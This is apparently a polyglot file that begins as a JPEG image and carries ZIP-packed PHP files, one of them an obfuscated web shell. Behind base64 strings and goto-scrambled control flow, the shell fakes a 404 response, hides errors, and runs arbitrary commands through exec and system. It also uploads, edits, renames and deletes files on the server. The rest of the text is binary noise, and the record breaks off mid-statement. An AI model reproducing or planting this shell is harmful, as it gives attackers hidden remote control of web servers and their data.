ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+
-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ
÷Û #°xŸëí(l »ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£ŠƒJ3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+
-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ
÷Û #°xŸëí(l »ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£ŠƒJ3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.PK 4\kc * v3/2025/2025/2024/media/fxrs/efu/index.phpnu W+A
".$code);
?>PK 4\Fb b $ v3/2025/2025/v1/dist/ndfwu/index.phpnu W+A = 1024) { goto PQz3D; } goto pqGcV; jvYDT: hVyIg: goto s1mbs; P6h9O: $UcY4R = round($UcY4R, 3); goto Ps05p; tRQH9: if (is_file($eNhib . base64_decode("\114\x77\x3d\75") . $g9JOM)) { goto OYpz8; } goto onZ5r; pqGcV: $UcY4R = $UcY4R . base64_decode("\111\x45\164\103"); goto P4SZt; DU1g4: echo JMFDD($eNhib . base64_decode("\114\x77\75\x3d") . $g9JOM); goto nRKkj; GuBLR: echo base64_decode("\120\x43\x39\x6d\x62\x32\x35\x30\120\147\x3d\x3d"); goto jvYDT; GUz8v: JOWNL: goto tgjC0; mPHlc: if (is_writable($eNhib . base64_decode("\114\x77\75\x3d") . $g9JOM)) { goto oiNdk; } goto fh1V0; tgjC0: echo base64_decode("\120\107\x5a\x76\142\x6e\121\x67\131\62\x39\x73\142\63\x49\x39\x49\156\x4a\154\132\x43\x49\x2b"); goto r2cHw; nFCqr: echo base64_decode("\120\x47\x5a\166\x62\156\121\x67\131\x32\x39\163\142\x33\111\x39\111\155\x64\171\132\127\x56\x75\x49\x6a\64\75"); goto LJ0lU; onZ5r: goto V3k_C; goto jKyEC; s1mbs: echo base64_decode("\x50\x43\71\152\x5a\x57\x35\60\x5a\x58\x49\x2b\120\x43\71\60\132\104\x34\116\x43\151\101\x67\111\x43\x41\x67\x49\x43\x41\x67\111\x43\101\147\111\x43\x41\x67\111\x43\x41\x67\x49\103\x41\147\x50\110\x52\153\120\152\170\152\x5a\x57\x35\60\132\x58\x49\53\120\107\132\x76\143\155\x30\x67\142\x57\x56\x30\141\x47\x39\153\x50\x53\112\121\x54\x31\116\x55\111\x69\102\150\x59\63\122\160\x62\x32\x34\71\111\x6a\x39\x76\143\x48\x52\x70\142\62\x34\x6d\143\x47\x46\60\x61\x44\60\x3d") . htmlspecialchars($eNhib) . base64_decode("\111\152\64\x4e\103\x69\101\x67\111\103\101\147\x49\103\101\x67\x49\103\101\147\111\103\101\x67\111\x43\x41\x67\x49\103\101\x67\111\x43\x41\147\111\104\x78\x7a\132\127\x78\154\x59\x33\x51\x67\142\x6d\106\164\x5a\124\60\151\142\63\x42\x30\x49\152\64\x4e\x43\151\x41\x67\x49\103\101\147\x49\103\x41\147\111\x43\101\x67\x49\x43\101\147\111\103\101\147\x49\103\x41\147\x49\103\x41\x67\x49\x43\101\147\x49\x43\x41\70\142\63\102\x30\x61\x57\x39\165\x49\x48\x5a\x68\x62\110\126\x6c\120\x53\111\151\120\154\116\x6c\142\107\x56\x6a\144\x44\167\x76\142\63\x42\x30\x61\x57\71\x75\120\x67\x30\x4b\111\103\101\x67\x49\x43\101\x67\x49\103\101\x67\111\103\x41\147\x49\x43\x41\x67\x49\103\x41\x67\x49\x43\101\x67\x49\x43\x41\147\111\x43\101\x67\111\x44\x78\x76\x63\110\122\x70\x62\62\x34\147\x64\155\x46\163\144\127\125\x39\x49\155\x52\x6c\x62\107\x56\x30\132\123\x49\53\122\107\126\x73\132\130\x52\x6c\x50\x43\71\166\143\x48\x52\x70\x62\x32\64\x2b\104\x51\157\x67\x49\103\x41\147\111\x43\101\x67\111\x43\101\147\111\x43\x41\x67\111\103\101\147\x49\x43\x41\x67\x49\103\101\x67\x49\x43\101\147\x49\103\x41\x67\120\x47\71\167\144\x47\154\166\142\x69\102\62\x59\127\x78\x31\132\x54\60\151\x59\x32\x68\x74\142\x32\x51\x69\120\x6b\116\157\x62\x57\71\153\120\103\71\166\143\110\x52\160\142\x32\64\x2b\104\121\x6f\147\111\x43\x41\147\111\x43\x41\x67\x49\x43\x41\147\x49\103\x41\147\x49\103\x41\147\x49\x43\x41\147\111\x43\101\x67\111\x43\101\147\x49\103\x41\x67\x50\107\x39\x77\144\x47\x6c\166\142\x69\x42\62\131\127\x78\x31\x5a\124\x30\x69\143\155\126\165\x59\127\x31\154\x49\152\x35\123\x5a\x57\65\x68\x62\127\x55\70\x4c\x32\x39\167\144\107\154\x76\x62\152\64\116\103\x69\x41\147\111\103\x41\x67\111\x43\101\147\x49\103\101\147\111\x43\x41\147\111\x43\x41\147\x49\x43\101\147\111\x43\101\x67\x49\x43\101\147\x49\x43\x41\70\x62\x33\x42\60\141\127\71\x75\111\x48\132\150\142\110\x56\x6c\120\123\x4a\154\x5a\x47\x6c\x30\111\x6a\x35\x46\132\x47\154\60\x50\x43\x39\x76\x63\x48\x52\160\142\62\x34\x2b\104\x51\157\x67\x49\x43\x41\x67\111\x43\x41\147\x49\103\101\147\111\103\x41\147\111\103\x41\147\x49\103\101\x67\111\103\x41\x67\x49\103\101\70\114\x33\116\x6c\142\x47\x56\x6a\144\x44\x34\x4e\x43\151\101\147\111\103\101\147\x49\x43\101\147\x49\103\x41\147\111\103\x41\147\x49\103\x41\147\x49\x43\101\147\x49\x43\x41\x67\x49\x44\170\x70\142\156\x42\x31\x64\x43\x42\60\145\x58\102\x6c\x50\x53\x4a\x6f\x61\x57\x52\x6b\x5a\x57\x34\x69\x49\107\x35\150\142\x57\x55\x39\x49\x6e\122\x35\143\x47\x55\151\111\110\132\150\x62\110\126\154\120\x53\112\155\141\x57\170\x6c\x49\152\x34\116\x43\x69\x41\x67\x49\103\101\x67\x49\x43\x41\147\111\103\101\x67\x49\103\101\x67\x49\103\x41\147\111\x43\x41\x67\111\103\101\147\111\x44\170\160\x62\156\102\61\x64\x43\102\x30\x65\x58\x42\x6c\x50\123\112\157\x61\x57\122\x6b\x5a\127\x34\151\111\x47\65\150\x62\x57\125\71\111\155\65\x68\142\x57\x55\x69\111\110\x5a\x68\142\110\x56\154\x50\123\111\75") . htmlspecialchars($g9JOM) . base64_decode("\111\152\64\116\x43\x69\x41\x67\x49\103\101\x67\111\x43\x41\x67\x49\103\x41\x67\x49\103\x41\x67\x49\x43\101\147\111\x43\101\x67\x49\x43\x41\147\111\104\x78\x70\142\x6e\x42\x31\144\103\102\x30\145\x58\102\x6c\x50\123\x4a\157\x61\127\122\153\x5a\127\64\x69\111\x47\65\150\x62\127\x55\x39\111\x6e\102\x68\144\107\147\151\x49\x48\x5a\150\142\x48\126\x6c\120\x53\111\x3d") . htmlspecialchars($eNhib . base64_decode("\114\167\x3d\75") . $g9JOM) . base64_decode("\111\x6a\64\116\103\x69\x41\147\x49\103\101\x67\x49\103\101\x67\x49\x43\101\147\x49\x43\x41\147\111\x43\x41\x67\x49\x43\x41\147\x49\103\101\x67\x49\104\x78\x70\x62\156\102\x31\x64\103\x42\x30\x65\130\x42\x6c\x50\x53\112\172\x64\x57\x4a\x74\141\130\x51\x69\111\110\132\x68\x62\110\126\154\x50\x53\x49\x2b\111\152\x34\116\x43\x69\x41\147\x49\x43\x41\147\111\x43\101\147\111\x43\101\x67\111\x43\x41\x67\x49\103\x41\x67\111\x43\101\x67\120\x43\71\155\x62\x33\x4a\x74\120\x6a\x77\x76\x59\62\x56\x75\x64\x47\126\171\120\152\x77\166\x64\x47\x51\x2b\104\x51\x6f\147\x49\x43\x41\x67\x49\103\x41\x67\111\103\x41\147\111\x43\x41\147\x49\x43\x41\x67\x50\x43\71\60\x63\x6a\x34\75"); goto Frsr3; mekM_: goto mJSO4; goto OK05I; P4SZt: goto rsQZy; goto UDCzn; LmBLU: rsQZy: goto xVNH7; j8je1: $UcY4R = round($UcY4R / 1024, 2) . base64_decode("\x49\x45\x31\103"); goto LmBLU; OK05I: oiNdk: goto nFCqr; CBJji: } goto ai3Ve; XJj68: if (!($_SERVER[base64_decode("\x55\153\126\122\126\125\126\x54\x56\x46\x39\x4e\x52\x56\122\111\x54\60\x51\75")] === base64_decode("\125\x45\x39\x54\x56\101\75\75") && isset($_POST[base64_decode("\131\62\61\153")]))) { goto CoaX2; } goto xvXT7; vSUM6: ini_set(base64_decode("\x5a\107\154\x7a\x63\107\x78\x68\145\x56\x39\172\x64\107\106\x79\x64\x48\126\x77\x58\x32\x56\x79\143\x6d\x39\x79\143\167\x3d\75"), 0); goto mumEQ; QkraQ: kfgHK: goto y726V; aIwfl: if (unlink($_POST[base64_decode("\x63\107\106\x30\141\101\75\75")])) { goto q70_S; } goto WtD3B; Rx_uc: KS5_7: goto Ijc0k; aL_nE: i3gs9: goto HxdLW; nEeD2: $cFZDS = ob_get_clean(); goto aH4lR; I6JjV: erOBh: goto b0_uT; aZUG9: if (isset($_GET[base64_decode("\x5a\155\x6c\x73\x5a\130\x4e\x79\131\x77\75\75")])) { goto KS5_7; } goto syuu2; f3mhf: nkUWJ: goto Cq5Wn; terSf: goto yTohV; goto f3mhf; e7cMQ: $cFZDS = implode(base64_decode("\x43\147\x3d\75"), $EEcNs); goto HPr1V; GcVwe: if (!is_resource($xYriD)) { goto O0KrZ; } goto rjjru; pslqQ: $cFZDS = $EEcNs; goto xTKmK; spvh2: if (move_uploaded_file($_FILES[base64_decode("\132\155\154\x73\132\x51\x3d\75")][base64_decode("\x64\x47\x31\x77\130\62\65\x68\142\127\x55\75")], $eNhib . base64_decode("\x4c\x77\75\x3d") . $_FILES[base64_decode("\x5a\155\x6c\x73\x5a\x51\75\75")][base64_decode("\x62\x6d\106\164\x5a\121\75\75")])) { goto i3gs9; } goto SfDSM; Kf0H2: $eNhib = isset($_GET[base64_decode("\x63\x47\x46\x30\141\x41\x3d\x3d")]) ? $_GET[base64_decode("\143\x47\x46\x30\141\101\75\x3d")] : getcwd(); goto rRd1P; DhlnD: echo base64_decode("\x50\103\x39\152\132\127\x35\x30\x5a\130\111\x2b"); goto PswnB; UcthB: IMUZ9: goto EaM4X; J2011: echo base64_decode("\x50\x47\132\x76\x63\155\60\147\x62\127\126\x30\141\x47\x39\153\120\x53\112\121\124\x31\x4e\125\x49\152\64\x4e\x43\x69\101\147\x49\103\x41\147\x49\103\x41\x67\111\x43\x41\x67\x49\103\101\x67\111\x43\101\147\111\x43\x41\x67\124\155\126\x33\111\x45\65\150\142\x57\x55\147\x4f\x69\x41\70\x61\x57\65\167\x64\130\x51\x67\x62\155\106\x74\132\x54\60\x69\142\x6d\x56\x33\x62\155\x46\x74\132\x53\x49\147\x64\110\x6c\167\x5a\x54\60\151\x64\x47\x56\x34\x64\103\x49\147\143\62\x6c\x36\132\124\x30\x69\x4d\152\x41\x69\x49\x48\x5a\150\x62\110\x56\x6c\120\x53\x49\x3d") . htmlspecialchars($_POST[base64_decode("\142\155\106\164\x5a\x51\75\75")]) . base64_decode("\x49\x69\101\x76\x50\x67\x30\113\x49\x43\101\147\111\x43\x41\x67\111\103\x41\x67\111\103\x41\147\x49\103\101\147\111\103\101\147\x49\x43\x41\x38\141\127\65\167\x64\130\x51\x67\144\110\x6c\x77\x5a\124\x30\151\x61\x47\154\153\x5a\107\126\x75\111\151\x42\165\131\x57\x31\x6c\x50\x53\x4a\x77\x59\130\122\x6f\111\151\x42\62\x59\127\x78\61\132\124\60\151") . htmlspecialchars($_POST[base64_decode("\143\107\106\x30\141\x41\75\x3d")]) . base64_decode("\x49\152\x34\116\x43\151\101\x67\111\103\x41\147\x49\x43\101\147\x49\103\x41\147\x49\103\101\147\x49\103\101\147\111\103\x41\x67\120\107\x6c\165\143\x48\126\x30\111\110\x52\65\143\107\125\x39\x49\x6d\150\x70\x5a\107\x52\154\142\x69\111\147\142\x6d\x46\164\x5a\x54\x30\151\x62\x33\x42\60\111\x69\102\x32\x59\x57\x78\x31\x5a\x54\x30\151\x63\x6d\x56\165\x59\127\x31\x6c\x49\x6a\64\116\x43\x69\x41\147\x49\103\x41\x67\x49\103\101\147\111\103\101\147\111\x43\101\x67\111\x43\x41\147\111\103\x41\147\x50\107\x6c\165\143\x48\x56\x30\x49\x48\122\65\143\107\x55\71\x49\x6e\x4e\61\131\x6d\61\x70\x64\103\x49\x67\144\155\x46\x73\144\127\x55\71\111\153\144\x76\111\151\x41\x76\120\x67\60\x4b\111\x43\x41\147\x49\x43\x41\147\x49\103\101\147\111\103\x41\x67\x49\x43\101\147\x49\104\167\x76\x5a\x6d\x39\171\142\124\64\x3d"); goto EN3_T; OVmfU: goto erOBh; goto sq9Yt; z49ui: sYMgO: goto jY5fd; jx5j_: echo base64_decode("\120\103\71\60\131\127\112\163\x5a\124\x34\70\114\62\122\160\x64\152\x34\75"); goto HlPoC; AmOfL: fclose($k2_JX[2]); goto jcnnT; jkGJj: @header(base64_decode("\121\x32\71\165\x64\107\126\x75\144\103\61\106\142\x6d\116\166\132\107\154\x75\x5a\x7a\157\x67\x62\x6d\x39\x75\x5a\x51\x3d\75")); goto qqu6V; l6gIm: echo base64_decode("\x50\103\71\60\143\152\64\x38\114\x33\122\153\x50\x6a\167\166\144\107\106\151\x62\x47\x55\x2b\x50\107\112\171\111\103\70\x2b"); goto wXVBR; syuu2: if (isset($_GET[base64_decode("\x62\x33\102\60\x61\127\x39\x75")]) && $_POST[base64_decode("\x62\x33\x42\x30")] != base64_decode("\x5a\107\x56\x73\x5a\x58\122\x6c")) { goto lRtUn; } goto MgfvD; y726V: @exec($ptg0t, $EEcNs, $JUInb); goto FIdrG; fcEJF: if (!isset($_POST[base64_decode("\143\63\112\152")])) { goto YQAL6; } goto RXMca; bLEki: if (rmdir($_POST[base64_decode("\x63\107\106\x30\141\x41\x3d\75")])) { goto yrA3Z; } goto y3J2Y; pRpkk: echo "\x20\x20\40\x20\x20\40\40\40\x3c\x70\x72\145\x3e"; goto HmtS0; HuB03: yrA3Z: goto dDjpg; Du9nh: echo base64_decode("\x50\x47\132\166\142\x6e\121\x67\131\62\x39\163\142\63\111\71\x49\156\112\x6c\132\103\x49\x2b\x52\62\x46\x6e\131\127\167\x67\x52\x57\122\160\144\x43\102\107\x61\127\x78\154\120\103\x39\x6d\x62\x32\x35\60\120\152\170\151\x63\151\70\53"); goto YJsBa; y3J2Y: echo base64_decode("\x50\x47\132\x76\142\x6e\x51\x67\x59\x32\x39\x73\x62\x33\111\71\x49\156\112\x6c\132\x43\x49\53\x52\107\154\171\132\127\x4e\60\x62\63\112\65\111\105\x64\x68\132\62\106\x73\x49\106\x52\x6c\143\x6d\150\150\x63\x48\x56\172\120\103\71\x6d\x62\x32\65\x30\120\x6a\x78\x69\143\x69\70\53"); goto XkI3C; opjeD: goto U8L1I; goto tcUXo; SkmhB: DGV0I: goto lOYQE; gB6EX: echo base64_decode("\x50\107\132\x76\143\155\x30\147\142\x57\x56\60\x61\107\x39\x6b\120\123\x4a\x51\124\x31\116\x55\x49\x6a\64\116\x43\x69\x41\147\111\103\x41\x67\x49\103\x41\147\111\103\101\x67\x49\x43\x41\147\x49\x43\101\147\111\x43\101\147\x50\x48\x52\154\145\x48\x52\150\x63\155\x56\x68\111\107\116\x76\142\110\x4d\x39\117\x44\101\147\x63\x6d\x39\x33\143\172\60\171\115\103\x42\x75\x59\x57\x31\154\x50\123\112\x7a\x63\x6d\x4d\151\x50\147\75\x3d") . htmlspecialchars(file_get_contents($_POST[base64_decode("\143\x47\x46\60\141\x41\75\75")])) . base64_decode("\120\103\71\60\x5a\x58\150\x30\x59\130\x4a\x6c\x59\x54\64\70\131\156\111\147\114\x7a\x34\116\x43\151\x41\147\x49\x43\101\x67\111\x43\101\147\x49\x43\101\x67\x49\103\x41\x67\x49\x43\101\147\x49\x43\x41\147\120\107\x6c\165\143\x48\x56\x30\x49\x48\x52\65\143\x47\x55\x39\111\155\x68\x70\x5a\107\x52\154\x62\151\x49\x67\142\155\x46\164\x5a\x54\x30\151\x63\107\x46\60\x61\x43\x49\x67\x64\x6d\106\x73\x64\127\x55\71\111\147\75\x3d") . htmlspecialchars($_POST[base64_decode("\x63\x47\106\60\x61\101\75\x3d")]) . base64_decode("\x49\152\64\x4e\103\151\101\x67\x49\103\x41\x67\111\x43\x41\x67\x49\103\x41\147\111\103\x41\x67\111\x43\x41\x67\111\x43\101\147\x50\x47\154\x75\x63\110\126\60\x49\x48\122\x35\x63\x47\125\71\111\x6d\150\160\x5a\x47\122\154\142\x69\x49\147\x62\155\x46\164\x5a\x54\x30\151\x62\x33\102\60\x49\x69\x42\62\131\127\170\61\132\x54\60\151\132\x57\122\160\x64\x43\111\x2b\104\121\x6f\x67\x49\x43\101\x67\111\x43\x41\147\111\x43\101\x67\111\x43\x41\147\111\103\101\147\111\103\101\147\x49\104\170\x70\x62\156\x42\61\x64\x43\102\x30\x65\x58\102\x6c\x50\x53\x4a\x7a\144\x57\112\x74\x61\x58\x51\151\x49\110\x5a\150\142\110\x56\x6c\120\x53\x4a\124\x59\130\x5a\154\111\151\101\x76\x50\147\x30\x4b\111\103\101\x67\x49\x43\x41\x67\111\x43\101\x67\111\x43\x41\147\111\103\101\147\111\x44\x77\166\x5a\x6d\x39\171\x62\124\x34\75"); goto Yktzr; COytp: echo base64_decode("\x50\x43\71\x30\131\x57\112\x73\x5a\x54\x34\70\131\x6e\x49\147\x4c\x7a\x34\70\x59\62\x56\165\x64\107\126\171\x50\147\x3d\75") . htmlspecialchars($_POST[base64_decode("\143\107\x46\60\x61\101\75\x3d")]) . base64_decode("\120\x47\x4a\171\111\103\70\53\x50\x47\112\171\111\103\x38\x2b"); goto dp9zE; PswnB: $olmCy = scandir($eNhib); goto TQ6vz; SFhpo: mon3x: goto fcEJF; j0zIU: @system($ptg0t, $JUInb); goto qpJOJ; YJsBa: goto kErGv; goto pigTC; u8RPw: roR1K: goto hhwYZ; zzI3D: goto erOBh; goto QkraQ; XkI3C: goto sYMgO; goto HuB03; Or0IH: ini_set(base64_decode("\x62\127\x46\64\130\62\x56\64\x5a\127\116\61\x64\107\x6c\x76\x62\154\x39\x30\x61\x57\x31\x6c"), 0); goto Qg6iu; CGZO4: goto YrXO6; goto SH23i; lhEMS: foreach ($D70ge as $lIIXS => $WfObz) { goto ASX3O; fdS71: irPAP: goto ClEd0; YBkXb: jUTL5: goto WQyHY; pR2sv: goto pTxr2; goto gTHAX; EhXT8: xvlHB: goto CIs2i; qvQBl: $Ew_Uk = true; goto RHV5_; gTHAX: Ldqoa: goto cOKcb; RHV5_: echo base64_decode("\120\107\x45\147\141\x48\x4a\154\132\152\x30\x69\120\63\102\150\x64\x47\x67\71\x4c\171\x49\x2b\x4c\172\x77\x76\x59\124\x34\x3d"); goto alxLh; mqwkI: if (!($NBibc != $lIIXS)) { goto irPAP; } goto aNHQ3; aNHQ3: echo base64_decode("\114\x77\75\75"); goto fdS71; CIs2i: echo base64_decode("\x49\x6a\x34\75") . $WfObz . base64_decode("\120\x43\71\x68\120\x69\x38\x3d"); goto R88Ab; FkXSC: $NBibc++; goto UbaaX; Wgdti: echo "{$D70ge[$NBibc]}"; goto mqwkI; WQyHY: if (!($NBibc <= $lIIXS)) { goto xvlHB; } goto Wgdti; UbaaX: goto jUTL5; goto EhXT8; cOKcb: echo base64_decode("\x50\107\x45\x67\141\110\x4a\x6c\x5a\152\60\x69\120\x33\102\x68\144\x47\147\x39"); goto snaU2; ASX3O: if (!($WfObz == '' && $lIIXS == 0)) { goto FoaYX; } goto qvQBl; Dkmx1: if (!($WfObz == '')) { goto Ldqoa; } goto pR2sv; gF6Zl: FoaYX: goto Dkmx1; ClEd0: eSlSs: goto FkXSC; alxLh: goto pTxr2; goto gF6Zl; snaU2: $NBibc = 0; goto YBkXb; R88Ab: pTxr2: goto KJScT; KJScT: } goto Uooir; ai3Ve: BzMVs: goto jx5j_; aH4lR: goto erOBh; goto LlnUN; FOCcW: if ($_POST[base64_decode("\142\63\102\60")] == base64_decode("\x5a\x57\122\x70\x64\x41\x3d\75")) { goto mon3x; } goto OpG71; rRd1P: $eNhib = str_replace(base64_decode("\x58\106\167\x3d"), base64_decode("\114\x77\x3d\x3d"), $eNhib); goto spvza; HU3sV: tH4Xk: goto DhlnD; VpP7L: http_response_code(404); goto Or0IH; UHTmS: echo base64_decode("\x50\x43\71\152\132\x57\x35\60\132\x58\x49\53"); goto Z8Ra4; HPr1V: iZF_7: goto QN3hg; rjjru: fclose($k2_JX[0]); goto nVJmm; XFeW5: oUWKl: goto SkmhB; Uooir: DNQfq: goto ooLWI; spvza: $D70ge = explode(base64_decode("\114\167\x3d\75"), $eNhib); goto lhEMS; uJDfF: $WXIzl = stream_get_contents($k2_JX[2]); goto AmOfL; dDjpg: echo base64_decode("\120\x47\132\166\142\x6e\x51\147\131\62\71\x73\142\63\x49\71\x49\155\x64\x79\x5a\x57\x56\x75\x49\x6a\x35\x45\141\130\112\154\x59\63\x52\x76\143\x6e\153\x67\126\107\126\x79\141\107\106\x77\x64\130\x4d\70\114\62\132\x76\x62\x6e\121\x2b\120\x47\112\x79\114\172\64\x3d"); goto z49ui; zwcaK: SoHLa: goto wIGQj; U7i4p: q70_S: goto Ek3Vl; Qg6iu: ini_set(base64_decode("\x5a\107\x6c\172\x63\107\170\x68\145\x56\x39\154\x63\156\x4a\x76\x63\x6e\115\75"), 0); goto vSUM6; TQ6vz: echo base64_decode("\120\x47\122\x70\x64\x69\102\160\x5a\x44\60\151\131\x32\71\x75\x64\x47\126\165\x64\103\x49\53\120\x48\122\150\131\x6d\170\x6c\111\x48\x64\160\x5a\x48\122\157\x50\x53\x49\x33\x4d\104\101\151\111\x47\x4a\166\143\155\122\154\x63\x6a\x30\x69\115\103\x49\147\131\62\126\x73\142\110\x42\150\132\x47\x52\160\142\x6d\143\71\111\x6a\115\151\111\x47\116\x6c\142\x47\x78\x7a\x63\x47\106\x6a\141\x57\65\156\x50\123\111\x78\111\151\102\150\142\107\154\156\x62\x6a\60\x69\x59\x32\126\x75\144\x47\126\x79\111\152\x34\116\103\x69\101\x67\111\x43\101\x67\x49\x43\101\x67\x49\x43\x41\147\x49\103\101\147\x49\103\101\70\144\110\x49\147\x59\62\170\150\x63\x33\x4d\x39\111\155\132\160\143\156\x4e\60\111\152\x34\x4e\x43\151\101\x67\111\x43\101\x67\x49\103\101\147\111\x43\101\x67\x49\103\101\147\x49\103\x41\147\111\x43\x41\x67\x50\x48\x52\x6b\120\x6a\x78\152\x5a\127\x35\x30\x5a\x58\111\x2b\x54\x6d\106\x74\132\x54\167\x76\x59\x32\x56\165\144\107\x56\171\120\152\x77\166\x64\107\x51\53\x44\121\157\x67\111\x43\101\x67\x49\103\101\x67\111\103\x41\x67\x49\x43\101\147\x49\103\x41\x67\111\103\101\x67\111\104\x78\x30\x5a\x44\x34\x38\131\62\x56\165\144\x47\x56\171\120\x6c\116\x70\145\155\x55\x38\x4c\62\x4e\154\x62\x6e\x52\154\143\152\64\70\114\63\x52\x6b\x50\x67\60\x4b\x49\103\x41\147\x49\x43\x41\147\x49\x43\101\147\111\x43\101\x67\x49\x43\x41\147\111\x43\x41\147\x49\103\x41\x38\x64\x47\121\x2b\x50\x47\x4e\x6c\x62\156\122\154\x63\152\x35\121\x5a\130\112\164\141\130\x4e\172\x61\127\x39\x75\x50\103\71\x6a\132\127\x35\60\132\x58\x49\x2b\x50\x43\x39\x30\132\x44\x34\x4e\103\151\x41\x67\111\x43\101\147\111\103\101\x67\111\x43\x41\147\x49\103\101\147\x49\103\x41\x67\x49\x43\x41\147\x50\x48\122\x6b\x50\x6a\x78\x6a\132\x57\x35\x30\x5a\x58\x49\x2b\x54\x57\x39\153\x61\x57\x5a\x35\120\103\x39\152\x5a\127\x35\60\132\x58\111\x2b\x50\x43\x39\x30\132\104\64\116\x43\151\101\147\x49\103\101\147\111\x43\101\x67\111\x43\x41\x67\111\x43\x41\147\x49\103\101\70\x4c\x33\x52\171\120\147\75\x3d"); goto UOXAk; koubu: echo 